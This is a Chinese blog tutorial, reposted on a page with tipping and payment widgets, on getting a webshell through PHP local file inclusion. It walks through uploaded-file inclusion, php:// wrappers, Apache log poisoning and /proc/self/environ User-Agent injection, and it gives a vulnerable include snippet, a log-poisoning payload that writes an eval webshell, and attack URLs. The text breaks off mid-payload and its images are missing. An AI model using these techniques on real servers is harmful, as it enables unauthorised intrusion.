php Wrapper LFI,PHP安全之LFI漏洞GetShell方法大阅兵

Author:LengF   Blog:www.81sec.com

0x00 题外话

关于PHP中LFI(Local File Include,本地文件包含)漏洞很多朋友都不是很熟悉,其实网络上有很多这方面的资料,特别说国外的paper。虽然很多资料讲得不是很详细,但是大家都懒得去测试,本文就给大家总结下,并讲述完整的利用方法。[separator]

0x01 LFI的GETSHELL思路

在讲述如何利用LFI来或者webshell之前,不得不提醒大家php5.3.4中截断的bug已经修复了,所以在一些情况下不能成功利用也不要奇怪。

1.包含上传文件

只要目标服务器支持上传,不管是jpg,txt,gif等都可以,在其中包含一句话木马即可,这种方法很简单没什么可说的。

2.包含data:// 或者php://input 伪协议

利用该方法的前提是php.ini中allow_url_include=On,另外必须支持php://filter伪协议

我们来尝试这样一种情况,假设有文件包含漏洞代码如下:

$query=$_GET[‘p’];

Include($query);

?>

在allow_url_include=On就是远程文件包含了,假设这里为off,那就只能本地包含了。那么我们如何利用,我们就来谈谈利用PHP Input/Ouput Wrapper获取webshell了。我给大家写了一个利用程序,如图01:

0c35d838d820ce6fde16c91a2bb66e35.png这个漏洞的利用就到此了。这个漏洞对于php5.0以下有效,5.3测试失败,其他大家自行总结。还是比较鸡肋,不过不亏为一种好思路。

3.日志包含log日志文件

日志包含,这个还是比较实用的,一般apache或者其他的日志都会比较大,而我们为什么能通过日志getwebshell?比如apache,当我们访问一个网站的网页时,页面出错,服务器会记录访问的连接地址,如果我们带入恶意的代码那么这个就会被包含在日志文件中。所以我们一般的利用步骤是:

首先访问一个不可能存在页面并且携带恶意代码,比如邪恶代码为:

<?php fputs(fopen("/www/shell.php","W+"),"<?php eval($_POST[a]?>";?>

将它转换为url编码,然后访问

http://www.81sec.com/+urlencode(邪恶代码)

这个页面肯定不存在,那么在错误日志中就会形成一条这样日志,接下来,我们就包含这条日志:

http://www.81sec.com/test.php?p= ... pache/www_error.log

apache路径需要自己去猜解,我这里只是给个实例,访问后就会生成一个shell了。

4.包含/proc/self/environ环境变量

个是利用Linux中的环境变量作为基础,很多时候这个方法行不通,因为没有/proc/self/environ的访问权限.同读取/etc/passwd一样,如果

你访问/proc/self/environ有如图02:

23176f5a76758ea3e4551d5f6c26bbbf.png看到这个代码就知道为什么利用这个Linux的环境变量,这里会有用户访问web的session信息,其中也会包含user-agent的参数,这个参数你浏览器名称的参数。而这个参数在我们客户端是可以修改的。

对于上面的LFI代码,我们可以这样利用:

http://www.81sec.com/test.php?p=../../../../proc/self/environ

如果能得到上图类似的内容说明有权限,就可以利用下面的方法得到webshell,我将两种方法。

方法一:借助firefox的插件user agent switch利用方法很简单也很方便。我们先构造好自己的邪恶代码:

-O shell.php');?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值